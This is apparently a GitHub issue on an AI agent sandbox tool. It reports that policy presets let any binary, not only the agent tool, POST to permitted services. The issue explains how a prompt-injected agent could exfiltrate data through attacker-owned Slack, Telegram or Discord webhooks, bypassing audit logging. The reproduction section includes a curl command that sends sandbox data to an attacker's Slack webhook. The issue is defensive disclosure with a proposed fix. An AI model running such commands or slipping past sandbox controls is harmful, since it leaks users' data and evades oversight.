Repository navigation
Description
Description
Every policy preset in nemoclaw-blueprint/policies/presets/ lacks a binaries: field. When a preset is applied, any binary inside the sandbox (curl, python3, node, etc.) can directly communicate with the allowed endpoints — not just openclaw.
The base policy in openclaw-sandbox.yaml also has this issue on the telegram entry (line 157-167), which is always active regardless of preset configuration.
Impact
If an agent executes unintended code (e.g. via prompt injection), that code can use curl or python3 to directly POST data to any endpoint the preset allows — completely bypassing openclaw's tool control and audit logging.
The attacker does not need any credentials from the victim. They supply their own API tokens (e.g. their own Telegram bot token, Slack webhook URL, Discord webhook URL) and use the already-permitted network path to exfiltrate data.
Affected presets and base policy entries:
| Entry | POST allowed | binaries restricted | In base policy |
|---|---|---|---|
| telegram (base) | Yes | No | Yes (always active) |
| slack.yaml | Yes (hooks.slack.com) | No | No |
| discord.yaml | Yes | No | No |
| outlook.yaml | Yes (graph.microsoft.com) | No | No |
| huggingface.yaml | Yes | No | No |
| docker.yaml | Yes (registry-1.docker.io) | No | No |
| jira.yaml | Yes (*.atlassian.net) | No | No |
| telegram.yaml | Yes | No | No |
| npm.yaml | GET only | No | No |
| pypi.yaml | GET only | No | No |
For comparison, other entries in the base policy already have proper binaries restrictions:
claude_code:/usr/local/bin/claudeonlynvidia:claude+openclawonlyclawhub,openclaw_api,openclaw_docs:openclawonly
Steps to reproduce
- Apply the slack preset:
nemoclaw my-assistant policy-add→ select slack - From inside the sandbox, run:
curl -X POST https://hooks.slack.com/services/T.../B.../xxx \ -d '{"text":"data from sandbox"}' - The message arrives in the attacker's Slack channel
Same pattern works for Telegram (no preset needed — always in base policy), Discord, etc.
Suggested fix
Add binaries: to every preset and to the base policy telegram entry, restricting access to openclaw only:
binaries:
- { path: /usr/local/bin/openclaw }Additionally, consider moving the telegram entry out of the base policy and into the preset (opt-in only), matching how all other messaging services are handled.
Activity
security: add binaries restriction to all policy presets and base tel…
security(policy): add binaries restriction to all presets and base te…
security: add binaries restriction to all policy presets and base tel…
north-echo commentedon Mar 20, 2026
I was looking at this issue and noticed there are several open PRs in the area. Thought it might be helpful to map them out:
access: full)access: full)tls: terminate)From what I can tell, #317 has the broadest coverage: all presets, base telegram, the node binary addition, and tests. There may be a few small gaps (yarn in the npm preset,
/usr/local/bin/pipfor pypi) but it seems like a solid foundation to build on.#388 also raises an interesting question about whether
tls: terminate+protocol: restcauses query-string stripping for Telegram API calls, which might be worth considering separately.Happy to help with reviews or testing if that's useful. Just wanted to surface the overlap in case consolidating makes things easier for maintainers.
security: add binaries restriction and switch to access: full
security(policy): add binaries restriction to all presets and base te…
fix(security): add binaries restrictions to all messaging and preset …
security: add binaries restriction and switch to access: full
fix(security): add binaries restrictions to all messaging and preset …
cortexj commentedon Mar 24, 2026
This is also the root cause of the 403 failures reported in #481. Cross-platform verification and a working workaround are in my comment there.
fix(security): add binaries restrictions to all messaging and preset …
fix(security): add binaries restrictions to all messaging and preset …
fix(security): add binaries restrictions to all messaging and preset …
remove manully generated cli reference (NVIDIA#272)
fix(security): add binaries restrictions to all messaging and preset …